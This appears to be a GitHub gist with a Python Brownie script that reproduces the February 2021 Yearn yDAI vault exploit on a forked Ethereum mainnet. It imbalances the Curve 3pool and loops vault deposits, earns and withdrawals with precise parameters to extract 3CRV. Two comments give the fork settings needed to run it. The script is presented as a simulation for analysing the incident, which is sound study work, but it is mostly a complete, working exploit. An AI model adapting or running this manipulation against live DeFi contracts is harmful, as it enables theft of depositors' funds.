Skip to content

Instantly share code, notes, and snippets.

@xu3kev
Last active November 25, 2021 18:40
Show Gist options
  • Star 11 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save xu3kev/cb1992269c429647d24b6759aff6261c to your computer and use it in GitHub Desktop.
Save xu3kev/cb1992269c429647d24b6759aff6261c to your computer and use it in GitHub Desktop.
ydai_vault_attack.py
from brownie import accounts, interface, Contract
# simulate the attack https://etherscan.io/tx/0x59faab5a1911618064f1ffa1e4649d85c99cfd9f0d64dcebbc1af7d7630da98b
# without the flashloan part
def main():
usdt = interface.IERC20('0x0000000000085d4780B73119b644AE5ecd22b376')
dai = interface.IERC20('0x6B175474E89094C44Da98b954EedeAC495271d0F')
usdt = interface.IERC20('0xdAC17F958D2ee523a2206206994597C13D831ec7')
usdc = interface.IERC20('0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48')
yvdai = Contract('0xACd43E627e64355f1861cEC6d3a6688B31a6F952')
curve = Contract('0xbebc44782c7db0a1a60cb6fe97d0b483032ff1c7')
crv3 = interface.IERC20('0x6c3f90f043a72fa612cbac8115ee7e52bde6e490')
max_3crv_amount = 300000000000000000000000000
# exploit parameters
remove_usdt_amt = 167473454967245
remove_usdt_amt_final_round = 167288317922857
# amount used in vault deposit, note that it was chosen smaller to not trigger the slippage protection
earn_amt = [105469871996916702826725376, 104706920396703142299856646, 103948014417774019565578888,
103192919800803744390557088, 102441640504232413679923590]
init_add_dai_amt = 37972761178915525047091200
init_add_usdc_amt = 133000000000000
# construct an account with the required dai and usdc amount to simulate flashloan
hacker = accounts[0]
dai_holder = accounts.at('0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643', force=True)
usdc_holder = accounts.at('0xBE0eB53F46cd790Cd13851d5EFf43D12404d33E8', force=True)
dai.transfer(hacker, init_add_dai_amt + max(earn_amt), {'from':dai_holder})
usdc.transfer(hacker, init_add_usdc_amt, {'from':usdc_holder})
hacker_dai_amt_before = dai.balanceOf(hacker)
hacker_usdc_amt_before = usdc.balanceOf(hacker)
assert(usdt.balanceOf(hacker)==0)
assert(crv3.balanceOf(hacker)==0)
assert(yvdai.balanceOf(hacker)==0)
# give approvals
dai.approve(yvdai, 2**256-1, {'from': hacker})
usdt.approve(curve, 2**256-1, {'from': hacker})
dai.approve(curve, 2**256-1, {'from': hacker})
usdc.approve(curve, 2**256-1, {'from': hacker})
# first make the pool inbalance
curve.add_liquidity([init_add_dai_amt, init_add_usdc_amt, 0], 0, {'from': hacker})
# exploit similar to https://github.com/iearn-finance/yearn-security/blob/master/disclosures/2020-10-30.md
for i in range(0,5):
curve.remove_liquidity_imbalance([0, 0, remove_usdt_amt], max_3crv_amount, {'from': hacker})
yvdai.deposit(earn_amt[i], {'from': hacker})
yvdai.earn({'from': hacker})
before_tmp = crv3.balanceOf(hacker)
if i != 4:
curve.add_liquidity([0,0,remove_usdt_amt], 0, {'from': hacker})
else: # differ in the last round: some usdt is used to pay for flashloan fee
curve.add_liquidity([0,0,remove_usdt_amt_final_round], 0, {'from': hacker})
yvdai.withdrawAll({'from': hacker})
# till here the hacker gains 3crv
# Convert some 3crv to make sure it gets all the dai and usdc back to the amount before the attack.
dai_difference = hacker_dai_amt_before - dai.balanceOf(hacker)
curve.remove_liquidity_imbalance([dai_difference+1, init_add_usdc_amt+1, 0],max_3crv_amount, {'from':hacker})
assert(dai.balanceOf(hacker) == hacker_dai_amt_before+1)
assert(usdc.balanceOf(hacker) == hacker_usdc_amt_before+1)
# Cash out with usdt from the remaining 3crv
print("Attacker get 3crv amt:", crv3.balanceOf(hacker)/1e18)
@xu3kev
Copy link
Author

xu3kev commented Feb 5, 2021

It can be run with ganache mainnet forked at block 11792183.

@banteg
Copy link

banteg commented Feb 5, 2021

brownie-config.yaml

autofetch_sources: true
networks:
  default: mainnet-fork
  mainnet-fork:
    cmd_settings:
      fork: http://127.0.0.1:8545@11792183

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment